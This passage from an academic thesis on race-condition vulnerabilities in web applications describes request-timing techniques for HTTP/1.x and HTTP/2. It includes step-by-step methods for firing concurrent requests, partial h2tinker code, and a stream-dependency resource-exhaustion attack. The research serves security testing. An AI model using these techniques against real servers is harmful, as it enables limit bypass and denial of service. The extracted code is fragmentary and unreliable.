SETTINGS_MAX_HEADER_LIST_SIZE setting. However, it does not consider limiting
the size of dynamic header field table entries or the size of individual decompressed
headers.
Yet specialised algorithms and systems have been developed to detect and block
DoS attacks. These often use machine learning [ABH17, NGOK15, NC10] to detect
malicious traffic patterns and software-defined networking components [ZLG+ 18,
CYL+ 16] or firewalls [VZ18] to block the traffic.
For HTTP/2, custom traffic models have also been created that represent normal
and malicious DoS traffic [ABH17]. The models can be used by an intrusion detection
or prevention system to detect malicious traffic.
The same server DoS-mitigation principles that are used with other protocols,
apply to HTTP/2 as well:
– Limit the amount of resources that can be consumed by one client or connec-
tion [Dob15]. This restricts the effect of each separate attacking host.
40 3. PREVIOUS WORK ON HTTP/2 SECURITY
– Tune the configuration of the server and software such that as many clients can
be served as possible [Dob15, F514]. Disable unused and unnecessary features.
– Optimise traffic processing code that might become a bottleneck under attack,
such as basic frame parsing and processing in HTTP/2.
For example, Bishop and Dilger [BD+ 96] demonstrated in 1996 how the access(2)
to open(2) system call sequence typically used in setuid programs1 on Unix-like
operating systems to test whether the program executor has access to a file before
opening the file, presents a race condition that can be exploited for privilege escalation.
The vulnerability arises from the fact that a separate process can alter the
referenced file in between the two system calls. After access(2) has been called
successfully but just before open(2) is called, the malicious process can replace the
referenced file with a hard link to any other file in the system, opening the new
file with root privileges. This attack was mitigated in 2004 [DH04] and then that
solution was broken again in 2005 [BJSW05].
Since the beginning of 2019, over 10 separate vulnerabilities have been published
in the Common Vulnerabilities and Exposures database involving a TOCTOU
bug [CVE20d], the latest being a vulnerability in Windows 10 Privacy Settings which
enables normal users to change the administrator’s privacy settings [Sha20].
1 A setuid ("set user ID") program is an executable in a Unix-like operating system that has the
"setuid" flag set which allows users to execute it with permissions of the executable’s owner.
41
42 4. RACE CONDITIONS
Most of these languages have been originally developed for writing computer
programs outside of the web server. Traditional programs consist of a sequence
of instructions that are executed by one computer process. However, in a web
application, this is not usually true.
In order to serve multiple client requests at the same time, web applications
run multiple threads or processes, each executing the same application code. For
example, the Apache HTTP Server [Fou20a] and Tomcat servlet container [Fou20b]
both allocate worker threads to serve client requests2 , while the Ruby Unicorn web
server [Wc20] and Python Gunicorn server [Che20a] use separate forked processes
that each run a single thread3 .
However, it might also create an illusion that the application is executed like a
traditional program, in a single process that runs a single thread, whereas some parts
of the application can actually be executed in parallel.
This illusion makes it easy for developers to introduce race condition bugs when
handling shared resources. In a multithreaded web application, shared resources
include process memory (heap), files and external services such as a database, cache
or another application.
2 The
Apache HTTP Server can also use multiple processes, each running multiple threads.
3 Whenusing Gunicorn’s gthread worker implementation, each process can also run multiple
threads [Che20b]. However, this is not the default configuration.
4.1. RACES IN WEB APPLICATIONS 43
In case of a file, the underlying filesystem might already offer different types of
locking, for instance to prevent the file from being concurrently modified. However,
depending on the application, additional synchronisation could be needed. For
example, an application might need to synchronise reading the file as well if it
contains shared state that is used by several threads.
Database management systems (DBMS) typically contain features that allow con-
trolled concurrent accesses. The Structured Query Language (SQL) standard [Mel03]
specifies several transaction isolation modes that define the requirements for concur-
rently executed accesses4 .
Each transaction can be set a specific isolation mode depending on the guarantees
required, or a default mode can be set for all transactions. Therefore manually
synchronising accesses to a SQL-based database is typically not needed. Instead,
developers should appropriately set the transaction isolation modes for the DBMS so
that applications can rely on the database’s consistency guarantees.
Other external services that do not provide consistency guarantees might require
special synchronisation. For example, an application might make two requests to a
separate authorisation server: the first to check whether an authorisation attempt is
allowed for a user, the second to perform the authorisation attempt.
If several threads or processes execute this flow concurrently then this presents
a TOCTOU flaw which might lead to a security vulnerability. Any checks done by
the authorisation server during the first request that depend on the second request,
such as checking the unsuccessful attempt counter for brute force prevention, are
effectively bypassed.
4 The SQL standard specifies requirements for transactions, not individual accesses. Here we
If the entire flow from checking the counter to updating it after the authorisation
attempt is not synchronised between threads, and several threads execute this flow
concurrently, then the counter check is effectively bypassed.
This attack is illustrated in Figure 4.1. The attacker sends two parallel requests
to the server which get served concurrently by separate threads. Each of the threads
first checks the counter’s value and then later increments it. Since the threads run
concurrently, both checks use the same initial and outdated value of the counter.
1. check(counter)
HTTP Request
2. increment(counter)
counter
1. check(counter)
HTTP Request
2. increment(counter)
Figure 4.1: The attacker sends two parallel requests that get served concurrently
by two threads. Both threads read and later increment the counter, leading to a
potentially different result as when the requests would have been executed sequentially.
The most challenging part of exploiting any web application race condition is
timing. Exploiting TOCTOU vulnerabilities usually requires that several requests
arrive at the victim server exactly at the same time.
In case of more complicated race conditions, requests might need to arrive some
specific time apart to force the server to run two different code segments concurrently.
The following Chapters 5 and 6 discuss this timing problem and how it can be
solved.
Timing Requests in HTTP/1.x
Chapter
5
Exploiting most web application race conditions requires precise timing. Usually the
attacker’s goal is to make the victim application receive several requests at exactly
the same time, such that vulnerable code is executed concurrently in different threads
or processes.
In order to understand how and when HTTP requests arrive at the victim’s
web server, we must also consider the underlying TCP/IP protocol stack that is
responsible for providing a transport medium for HTTP.
HTTP client and server software typically operates with the TCP layer—it uses
a TCP socket provided by the operating system for sending and receiving data, and
does not consider protocols further down in the stack.
A HTTP server can start to process a request once it has been fully read from
the TCP socket (see Section 2.2.1 for request syntax). Therefore, for our purposes,
request arrival time can be defined as the time when a HTTP request can be fully
read from the server’s TCP socket.
45
46 5. TIMING REQUESTS IN HTTP/1.X
In this naive approach, there is no guarantee when the TCP connections will
be opened and when the requests leave the client’s machine. This can be solved by
ensuring each TCP connection is open (the TCP handshake has been completed)
before sending any requests.
The client opens several TCP connections and along each connection, sends the
whole request, except for the last byte. Then it waits for some time to allow all
of these TCP segments to arrive at the server. Finally, it sends the last segment
containing the last byte of the request on each connection.
This technique reduces the effects of network congestion since the last TCP
segments contain only one byte of data. It also eliminates the possibility of fragmen-
tation that might occur in the IP layer due to a smaller maximum transmission unit
(MTU) of an intermediate link.
Additionally, since the last TCP segments are very small, it might improve the
performance of the client’s and server’s TCP implementation, making the requests
depart and arrive closer together.
This makes all of the requests arrive at the server TCP socket at exactly the
same time since they are all part of the same TCP segment.
5.3. PIPELINING REQUESTS 47
However, the maximum size of a TCP segment is limited. The maximum segment
size (MSS) is specified by both party in the SYN packets during the TCP hand-
shake [Pos83]. It is a unidirectional setting—the MSS set by a party defines the
maximum size of a segment that they are willing to receive.
Consequently, the number of requests that can fit into one TCP segment depends
on the server’s MSS and the size of the requests. The TCP specification defines the
default MSS to be 536 bytes [Pos83].
If a segment has been lost, no acknowledgement will be sent for it and the receive
window will not be increased [Bra89]. It should then be retransmitted by the sender.
However, if the sender continues to send new segments and fails to quickly retransmit
the missing segment, then this might lead to the receive window being exhausted.
At that point, the sender is not allowed to send any new segments.
The HoL blocking problem can be exploited for synchronising HTTP requests 1 .
The attacker opens a TCP connection and creates as many TCP segments with
HTTP requests as possible while not exceeding the server’s receive window. However,
they send all of the segments, except for the first one.
This creates a HoL blocking situation for the server. The TCP implementation is
unable to deliver any data to the operating system’s TCP socket because it would
be out of order since the first segment has not been received yet.
After all TCP segments except the first one have been delivered, the attacker
finally sends the first segment. This completes the segment sequence, assuming no
segments were legitimately lost in the network. The server’s TCP implementation
1 This technique seems to be undocumented in existing literature. It was discovered, implemented,
tested and brought to our attention by Erlend Leiknes of mnemonic. The implementation is not
publicly available.
48 5. TIMING REQUESTS IN HTTP/1.X
will then assemble all of the data and deliver it to the TCP socket, making all HTTP
requests effectively arrive at the same time.
The number of concurrent requests that can be sent using this technique is only
limited by the server’s receive window size. In Linux kernel 5.7, the default receive
window size is around 87 380 bytes [mpp20] and in Windows Vista, 7, 8 and 10, the
receive window is around 65 536 bytes2 [Net20b].
However, this method requires using a custom TCP implementation that allows
sending segments in a custom order.
2 In both Linux and Windows, the exact window size depends on the amount of available memory
6
During the literature study on web application race conditions and HTTP/2, we did
not find any published HTTP/2-specific methods for timing concurrent requests.
In this chapter, we introduce two novel methods for timing HTTP requests
such that the receiver is forced to process them concurrently, creating potential for
exploiting race vulnerabilities.
The intended way to send several requests in HTTP/2 is to open a single HTTP/2
connection inside a single TCP connection, and use several streams for different
requests. This mechanic can be used to send perfectly concurrent requests as well.
There is no explicit limit on how many HTTP/2 frames can be packaged into one
TCP segment. Therefore, a client might send several different requests on several
different streams inside a single TCP segment.
This technique is similar to the one described for HTTP/1.1 in Section 5.3 where
several requests can be sent in a pipelined fashion inside one TCP segment. However,
in this HTTP/2 method, each request can be significantly smaller in size due to
header compression and the binary format. This would enable an attacker to fit
considerably more requests into one TCP segment.
49
50 6. TIMING REQUESTS IN HTTP/2
Furthermore, this method can be combined with an approach similar to last byte
synchronisation for HTTP/1.x (see Section 5.2.1). However, instead of delaying the
last byte of every TCP connection, we delay the last frame for every stream.
The end of a request is signalled by the frame flag END_STREAM which must be
included with the last HEADERS or DATA frame. The receiver can start to process the
request once this flag is received1 .
If the request has a body then we can construct an analogous last byte synchroni-
sation technique that is used for HTTP/1.x. We divide the request body into DATA
frames and send all of them, except for the last one (that has the END_STREAM flag
set). We do this for several streams, and then finally send the last frames as well.
However, HTTP/2 also allows DATA frames to be empty. Therefore we can use
this technique for all requests, regardless of whether they have a request body:
1. Send the HEADERS and optional CONTINUATION frames on as many new streams
as desired. Do not set the END_STREAM flag.
2. If the request has a body, send as many DATA frames as needed for the entire
body. Do not set the END_STREAM flag.
3. On each used stream, send a single DATA frame with an empty payload and the
END_STREAM flag set.
Frames sent in step 1 and step 2 can be sent in several TCP segments, but the
final empty DATA frames should be sent inside a single TCP segment to make sure
they arrive at the server at the same time.
1 Additionally, the headers block must be completed, signalled by the flag END_HEADERS on the
last HEADERS or CONTINUATION frame. However, the headers block can be semantically considered as
a single frame due to interleaving restrictions. See Section 2.4.3 for more details.
6.1. EXPLOITING CONCURRENT STREAMS 51
This method is illustrated in Figure 6.1 and Figure 6.2. The attacker attempts
to exploit a race vulnerability by sending 4 concurrent POST /race requests without
a request body.
In Figure 6.1, the attacker sends HEADERS frames on 4 different streams (1, 3, 5,
7), each having the END_HEADERS flag set indicating that no CONTINUATION frames
are needed. These frames are sent in 2 TCP segments.
In Figure 6.2, the attacker finishes the requests by sending 4 empty DATA frames
with the END_STREAM flag set, all packaged into a single TCP segment.
HEADERS FRAME
TCP Segment
SID = 1
EH = 1 POST /race
HEADERS FRAME
SID = 3
EH = 1 POST /race
HEADERS FRAME
TCP Segment
SID = 5
EH = 1 POST /race
HEADERS FRAME
SID = 7
EH = 1 POST /race
Figure 6.1: The attacker sends 4 HEADERS frames on 4 different streams to the
server. Each frame has the END_HEADERS flag set. These frames are packaged into 2
TCP segments. SID – stream ID of the frame; EH=1 – the END_HEADERS flag is set.
Firstly, the number of streams that are opened by sending the first HEADERS
frame, cannot exceed the receiver-controlled SETTINGS_MAX_CONCURRENT_STREAMS
connection setting. The HTTP/2 specification states that this should not be set to
lower than 100 [BPT15].
Secondly, the empty DATA frames (9 bytes) that complete requests should all
be sent in a single TCP segment. The maximum size of a TCP segment is defined
by the maximum segment size (MSS) option which is also receiver-controlled (see
Section 5.3).
52 6. TIMING REQUESTS IN HTTP/2
DATA FRAME
SID = 1
ES = 1 NO DATA
DATA FRAME
TCP Segment
SID = 3
ES = 1 NO DATA
DATA FRAME
SID = 5
ES = 1 NO DATA
DATA FRAME
SID = 7
ES = 1 NO DATA
Figure 6.2: The attacker sends 4 DATA frames on the previously used streams. Each
frame has an empty payload and the END_STREAM flag set. All of the frames are sent
inside a single TCP segment. SID – stream ID of the frame; ES=1 – the END_STREAM
flag is set.
In order to fully utilise this method, an attacker could use either a long-running
request or a dependency chain of requests that are executed sequentially. This
gives the attacker enough time to deliver as many dependant concurrent requests as
possible. The attack can be summarised by the following steps:
1. Send some arbitrary long-running request. Optionally, send more than one of
these requests and have them depend on each other, creating a dependency
chain. Creating such a request chain is illustrated in Figure 6.3.
6.2. EXPLOITING STREAM DEPENDENCY 53
2. Send as many concurrently executing requests as desired. Have them all depend
on the last long-running request. This step is illustrated in Figure 6.4.
Once the long-running request or request chain finishes, all of the dependant
requests will get processed concurrently.
HEADERS FRAME
SID = 1
SID = 1
POST /long /long
PRI = 1
HEADERS FRAME
SID = 3
SID = 3 DS = 1
PRI = 1 POST /long /long
HEADERS FRAME
SID = 5
SID = 5 DS = 3
PRI = 1 POST /long /long
Figure 6.3: The attacker creates a 3-request dependency chain. This is done by
sending 3 HEADERS frames on different streams and setting them as dependencies of
each other. The right side of the figure shows the created dependency chain. Each
frame also has the END_HEADERS and END_STREAM flags set, these are omitted from
the figure. SID – stream ID of the frame; PRI=1 – the PRIORITY flag is set; DS – ID
of the stream that this stream depends on.
Each new stream dependency also specifies the relative dependency weight and
whether it is an exclusive dependency. In this technique, we do not require any
dependency to be exclusive, and all dependencies should have the same weight (for
example 1).
However, it is not limited by the maximum TCP segment size as was the previous
method. It does not matter how the frames are packaged into TCP segments since
54 6. TIMING REQUESTS IN HTTP/2
SID = 1
HEADERS FRAME
/long
SID = 7 DS = 5
PRI = 1 POST /race
SID = 3
/long
HEADERS FRAME
SID = 9 DS = 5
PRI = 1 POST /race
SID = 5
/long
HEADERS FRAME
SID = 11 DS = 5
PRI = 1 POST /race SID = 7 SID = 9 SID = 11
/race /race /race
Figure 6.4: The attacker sends 3 requests that will be processed concurrently after
the previously created request chain has finished. Each request depends on the last
request in the chain. The right side of the figure shows the resulting dependency tree.
Each frame also has the END_HEADERS and END_STREAM flags set, these are omitted
from the figure. SID – stream ID of the frame; PRI=1 – the PRIORITY flag is set;
DS – ID of the stream that this stream depends on.
the concurrent requests are not triggered by a single segment arriving. Rather, they
are triggered by the server completing the dependency chain or long-running request.
MSS is the maximum segment size parameter in a TCP connection and MCS
is the number of maximum concurrent streams allowed in a HTTP/2 connection,
specified by the setting SETTINGS_MAX_CONCURRENT_STREAMS.
6.3. COMPARISON OF REQUEST TIMING METHODS 55
7
There are several full-featured HTTP/2 client libraries for various programming
languages, such as nghttp2 [Tc20] for C, hyper [Bc20b] for Python, okhttp [Inc20]
for Java and Kotlin, and even http2-client [DiC20] for Haskell. However, none of
these expose a low-level API that would allow sending individual, potentially invalid,
frames for experimentation purposes1 .
This chapter considers h2tinker version 0.2, which is the latest version at the
time of writing. However, this library is in active development. Therefore, the API
and features might change in subsequent versions.
nately these libraries turned out to be not modular enough for the bootstrapped API to be stable
and extensible.
57
58 7. H2TINKER: A LOW-LEVEL HTTP/2 CLIENT IMPLEMENTATION
– a user-friendly documented and typed API for creating different frames and
requests,
The source code is licensed under the MIT Licence and available in a public
GitHub repository at https://github.com/kspar/h2tinker. The API is documented
with inline Docstrings2 and examples can be found at https://github.com/kspar/
h2tinker/wiki/examples.
When the first frames for all requests have been sent, we finally send the last
frames inside a single TCP segment. This completes all of the requests in the server
and they should get processed concurrently. See Section 6.1.1 for more details on
this method.
When the server finishes processing all of the requests in the chain, the depending
requests should be executed concurrently. See Section 6.1 for more details on this
technique.
Code Snippet 7.1 Last frame synchronisation method implemented with h2tinker.
import h2tinker as h2
import scapy . contrib . http2 as scapy
# Create the c o n n e c t i o n
# Use H 2 P l a i n C o n n e c t i o n for a non - TLS c o n n e c t i o n
conn = h2 . H 2T L SC on ne c ti on ()
# Remain l i s t e n i n g on the c o n n e c t i o n
conn . i n f i n i t e _ r e a d _ l o o p ()
An attack on the stream dependency tree that attempts to create a very large
tree, consuming a lot of server resources (see Section 3.1.3) can be implemented by
sending many PRIORITY frames, demonstrated in Code Snippet 7.4. Here we create
a star-like tree, however, various other structures could also be created.
import h2tinker as h2
# ...
# C o n n e c t i o n setup omitted , see p r e v i o u s example .
# ...
# The last link in the chain on which all race r e q u e s t s will depend
e n d _ o f _ c h a i n _s i d = chain_sids [ - 1 ]
import h2tinker as h2
# ...
# C o n n e c t i o n setup omitted , see p r e v i o u s e x a m p l e s .
# ...
import h2tinker as h2
# ...
# C o n n e c t i o n setup omitted , see p r e v i o u s e x a m p l e s .
# ...
# G e n e r a t e stream IDs
sids = h2 . gen_st ream_ids ( 10_001 )
Race vulnerabilities are difficult to exploit reliably because they typically require
the attacker to precisely synchronise their requests such that they arrive at the
victim web server in parallel. This causes the web server to process the requests
concurrently, potentially invoking a race condition.
8.1 Contributions
This thesis has three main contributions.
Firstly, two new techniques are proposed for synchronising requests in HTTP/2.
The first exploits the multiplexing feature of HTTP/2 by which frames belonging to
different requests can be interleaved on the connection. The second method exploits
the stream dependency feature, constructing a dependency tree such that dependant
requests get processed concurrently.
63
64 8. CONCLUSION
Nowadays, applications are often served behind reverse proxies, content delivery
networks or other gateway servers. The outward-facing HTTP/2 connection is
typically terminated at that point and the data is proxied forward over another
HTTP/2 connection or other protocol.
There are several improvements that could be made to the h2tinker library:
using asynchronous sockets, adding convenience methods for parsing response frames
and providing a full flow control management system.
on top of User Datagram Protocol (UDP) instead of TCP, it is not clear whether the
request timing methods discussed in this thesis could be applied to HTTP/3. This
requires further research.
mum
References
[ABH17] Erwin Adi, Zubair Baig, and Philip Hingston. Stealthy denial of service (dos)
attack modelling and detection for http/2 services. Journal of Network and
Computer Applications, 91:1–13, 2017.
[AJF15] Darine Ameyed, Fehmi Jaafar, and Jaouhar Fattahi. A slow read attack using
cloud. In 2015 7th International Conference on Electronics, Computers and
Artificial Intelligence (ECAI), pages SSS–33. IEEE, 2015.
[Ash18] Ahmad Ashraff. Timing-based attacks in web applications, 2018.
https://owasp.org/www-pdf-archive/2018-02-05-AhmadAshraff.pdf [Retrieved
22.06.2020].
[BB15] Chris Bentzel and Bence Béky. Hello http/2, goodbye spdy, 2015.
https://blog.chromium.org/2015/02/hello-http2-goodbye-spdy.html [Retrieved
12.06.2020].
[Bc20a] Cory Benfield and contributors. hpack: Pure-python hpack header compression,
2020. https://pypi.org/project/hpack/ [Retrieved 19.06.2020].
[Bc20b] Cory Benfield and contributors. Hyper: Http/2 client for python, 2020. https:
//hyper.readthedocs.io/en/latest/ [Retrieved 22.06.2020].
[Bc20c] Cory Benfield and contributors. Priority: A http/2 priority implementation, 2020.
https://pypi.org/project/priority/ [Retrieved 19.06.2020].
[BD+ 96] Matt Bishop, Michael Dilger, et al. Checking for race conditions in file accesses.
Computing systems, 2(2):131–152, 1996.
[Ben18] Simon Bennetts. Github issue: Support http/2, 2018. https://github.com/
zaproxy/zaproxy/issues/5038 [Retrieved 02.06.2020].
[BH78] R Bisbey and D Hollingsworth. Protection analysis project final report. ISI/RR-
78-13, DTIC AD A, 56816, 1978.
[Bis20] M. Bishop. Hypertext transfer protocol version 3 (http/3) draft-ietf-quic-http-28,
2020.
67
68 REFERENCES
[BJSW05] Nikita Borisov, Robert Johnson, Naveen Sastry, and David Wagner. Fixing races
for fun and profit: How to abuse atime. In USENIX Security Symposium, 2005.
[BL91] Tim Berners-Lee. The original http as defined in 1991, 1991. https://www.w3.org/
Protocols/HTTP/AsImplemented.html [Retrieved 08.06.2020].
[BL92] Tim Berners-Lee. Basic http as defined in 1992, 1992. https://www.w3.org/
Protocols/HTTP/HTTP2.html [Retrieved 08.06.2020].
[BLFF96] Tim Berners-Lee, Roy Fielding, and Henrik Frystyk. Rfc1945: Hypertext transfer
protocol–http/1.0, 1996.
[BPT15] Mike Belshe, Roberto Peon, and Martin Thomson. Rfc7540: Hypertext transfer
protocol version 2 (http/2), 2015.
[Bra89] R. Braden. Rfc1122: Requirements for internet hosts – communication layers,
1989.
[Bri15] Peter Bright. Http/2 finished, coming to browsers within weeks,
2015. https://arstechnica.com/information-technology/2015/02/http2-finished-
coming-to-browsers-within-weeks/ [Retrieved 12.06.2020].
[BtSc20] Philippe Biondi and the Scapy community. Scapy: Packet crafting for python2
and python3, 2020. https://scapy.net/ [Retrieved 22.06.2020].
[Cc14] Pew Research Center and contributors. World wide web timeline, 2014. [Retrieved
12.06.2020].
[Che20a] Benoit Chesneau. Gunicorn docs > design, 2020. https://docs.gunicorn.org/en/
latest/design.html [Retrieved 17.06.2020].
[Che20b] Benoit Chesneau. Gunicorn docs > design > how many threads?, 2020.
https://docs.gunicorn.org/en/latest/design.html#how-many-threads [Retrieved
17.06.2020].
[Cho18a] Sid Choudhury. Are mongodb’s acid transactions ready for high performance
applications?, 2018. https://blog.yugabyte.com/are-mongodb-acid-transactions-
ready-for-high-performance-applications/ [Retrieved 17.06.2020].
[Cho18b] Sid Choudhury. Why are nosql databases becoming transactional?,
2018. https://blog.yugabyte.com/nosql-databases-becoming-transactional-
mongodb-dynamodb-faunadb-cosmosdb/ [Retrieved 17.06.2020].
[CVE16a] CVE. Cve-2016-0150, 2016. https://cve.mitre.org/cgi-bin/cvename.cgi?name=
CVE-2016-0150 [Retrieved 16.06.2020].
[CVE16b] CVE. Cve-2016-1544, 2016. https://cve.mitre.org/cgi-bin/cvename.cgi?name=
CVE-2016-1544 [Retrieved 19.06.2020].
[CVE16c] CVE. Cve-2016-1546, 2016. https://cve.mitre.org/cgi-bin/cvename.cgi?name=
CVE-2016-1546 [Retrieved 16.06.2020].
REFERENCES 69
[FR14d] Roy Fielding and Julian Reschke. Rfc7235: Hypertext transfer protocol (http/1.1):
Authentication, 2014.
[GHP13] Yoel Gluck, Neal Harris, and Angelo Prado. Breach: reviving the crime attack.
Unpublished manuscript, 2013.
[GRO18] TAD GROUP. Timing attacks against web applications: Are they still practi-
cal?, 2018. https://www.tadgroup.com/blog/post/timing-attacks-against-web-
applications-are-they-still-practical [Retrieved 22.06.2020].
[Gro20] The PostgreSQL Global Development Group. Documentation → postgresql
12: 13.2. transaction isolation, 2020. https://www.postgresql.org/docs/12/
transaction-iso.html [Retrieved 17.06.2020].
[Inc20] Square Inc. Okhttp, 2020. https://square.github.io/okhttp/ [Retrieved
22.06.2020].
[Ini16] Imperva Hacker Intelligence Initiative. Http/2: In-depth analysis of the top four
flaws of the next generation web protocol, 2016. https://www.imperva.com/docs/
Imperva_HII_HTTP2.pdf [Retrieved 15.06.2020].
[Iqb20] Mansoor Iqbal. Youtube revenue and usage statistics (2020), 2020. https://
www.businessofapps.com/data/youtube-statistics/ [Retrieved 03.06.2020].
[Ket19] James Kettle. Cracking recaptcha, turbo intruder style, 2019. https:
//portswigger.net/research/cracking-recaptcha-turbo-intruder-style [Retrieved
19.06.2020].
[Mel03] Jim Melton. Iso/iec 9075. ISO standard, 2003.
[Mic20] Mozilla and individual contributors. Evolution of http, 2020.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/
Evolution_of_HTTP [Retrieved 08.06.2020].
[mpp20] The Linux man-pages project. Linux programmer’s manual: Tcp(7), 2020. https:
//man7.org/linux/man-pages/man7/tcp.7.html [Retrieved 19.06.2020].
[Muu83] Mike Muuss. ping, 1983. Networking utility.
[NC10] Hoai-Vu Nguyen and Yongsun Choi. Proactive detection of ddos attacks utilizing
k-nn classifier in an anti-ddos framework. International Journal of Electrical,
Computer, and Systems Engineering, 4(4):247–252, 2010.
[Net19] Netflix. Http/2 denial of service advisory, 2019. https://github.com/Netflix/
security-bulletins/blob/master/advisories/third-party/2019-002.md [Retrieved
15.06.2020].
[Net20a] Netscout. Slow read ddos attacks, 2020. https://www.netscout.com/what-is-
ddos/slow-read-attacks [Retrieved 19.06.2020].
REFERENCES 73
[Net20b] Energy Sciences Network. Host tuning > ms windows, 2020. https://
fasterdata.es.net/host-tuning/ms-windows/ [Retrieved 19.06.2020].
[NGOK15] Jema David Ndibwile, A Govardhan, Kazuya Okada, and Youki Kadobayashi. Web
server protection against application layer ddos attacks using machine learning
and traffic authentication. In 2015 IEEE 39th Annual Computer Software and
Applications Conference, volume 3, pages 261–267. IEEE, 2015.
[Pan16] Sarvesh Pandey. Testing race conditions in web applications, 2016. https://
www.mcafee.com/blogs/enterprise/testing-race-conditions-web-applications/ [Re-
trieved 08.06.2020].
[Pet20] Christo Petrov. Gmail statistics 2020, 2020. https://techjury.net/blog/gmail-
statistics/ [Retrieved 03.06.2020].
[PMBM08] Roberto Paleari, Davide Marrone, Danilo Bruschi, and Mattia Monga. On race
vulnerabilities in web applications. In International Conference on Detection of
Intrusions and Malware, and Vulnerability Assessment. Springer, 2008.
[Pos81] Jon Postel. Rfc793: Transmission control protocol, 1981.
[Pos83] J. Postel. Rfc879: The tcp maximum segment size and related topics, 1983.
[PR15] Roberto Peon and Herve Ruellan. Rfc7541: Hpack: Header compression for
http/2, 2015.
[RD12] Juliano Rizzo and Thai Duong. The crime attack. In ekoparty security conference,
volume 2012, 2012.
[Res18] Eric Rescorla. Rfc8446: The transport layer security (tls) protocol version 1.3,
2018.
[SAMK18] Meenakshi Suresh, PP Amritha, Ashok Kumar Mohan, and V Anil Kumar.
An investigation on http/2 security. Journal of Cyber Security and Mobility,
7(1):161–189, 2018.
[SD20] Mark Straver and Dragana Damjanovic. Consider implementing h2c (http/2 over
tcp), 2020. https://bugzilla.mozilla.org/show_bug.cgi?id=1418832 [Retrieved
11.06.2020].
[Sha20] Kushal Arvind Shah. Fortiguard labs discovers privilege escalation vulnerability
in windows 10 platform, 2020. https://www.fortinet.com/blog/threat-research/
fortiguard-labs-security-researcher-discovers-privilege-escalation-vulnerability-
in-windows-platform [Retrieved 17.06.2020].
[SK06] Michael Scharf and Sebastian Kiesel. Nxg03-5: Head-of-line blocking in tcp and
sctp: Analysis and measurements. In IEEE Globecom 2006, pages 1–5. IEEE,
2006.
[SK13] Michael Scharf and Sebastian Kiesel. Quantifying head-of-line blocking in tcp
and sctp. IETF, 2013.
74 REFERENCES
[Sta20] Statista. Number of monthly active facebook users worldwide as of 1st quarter
2020, 2020. https://www.statista.com/statistics/264810/number-of-monthly-
active-facebook-users-worldwide/ [Retrieved 03.06.2020].
[Stu20] Dafydd Stuttard. Burp suite roadmap for 2020, 2020. https://portswigger.net/
blog/burp-suite-roadmap-for-2020 [Retrieved 02.06.2020].
[Sur20] W3Techs: Web Technology Surveys. Usage statistics of http/2 for websites, 2020.
https://w3techs.com/technologies/details/ce-http2 [Retrieved 02.06.2020].
[Tc20] Tatsuhiro Tsujikawa and contributors. Nghttp2: Http/2 c library, 2020. https:
//nghttp2.org/ [Retrieved 22.06.2020].
[Tiw17] Naveen Tiwari. Security analysis of http/2 protocol. Master’s thesis, Arizona
State University, 2017.
[vRc20] Guido van Rossum and contributors. Pep 257 – docstring conventions > what is a
docstring?, 2020. https://www.python.org/dev/peps/pep-0257/#id15 [Retrieved
22.06.2020].
[VZ18] Natalija Vlajic and Daiwei Zhou. Iot as a land of opportunity for ddos hackers.
Computer, 51(7):26–34, 2018.
[Wc20] Eric Wong and contributors. unicorn: Rack http server for fast clients and unix,
2020. https://yhbt.net/unicorn/ [Retrieved 17.06.2020].
[ZLG+ 18] Jing Zheng, Qi Li, Guofei Gu, Jiahao Cao, David KY Yau, and Jianping Wu.
Realtime ddos defense using cots sdn switches via adaptive correlation analysis.
IEEE Transactions on Information Forensics and Security, 13(7):1838–1853, 2018.
101 – /youre-a-wizard-harry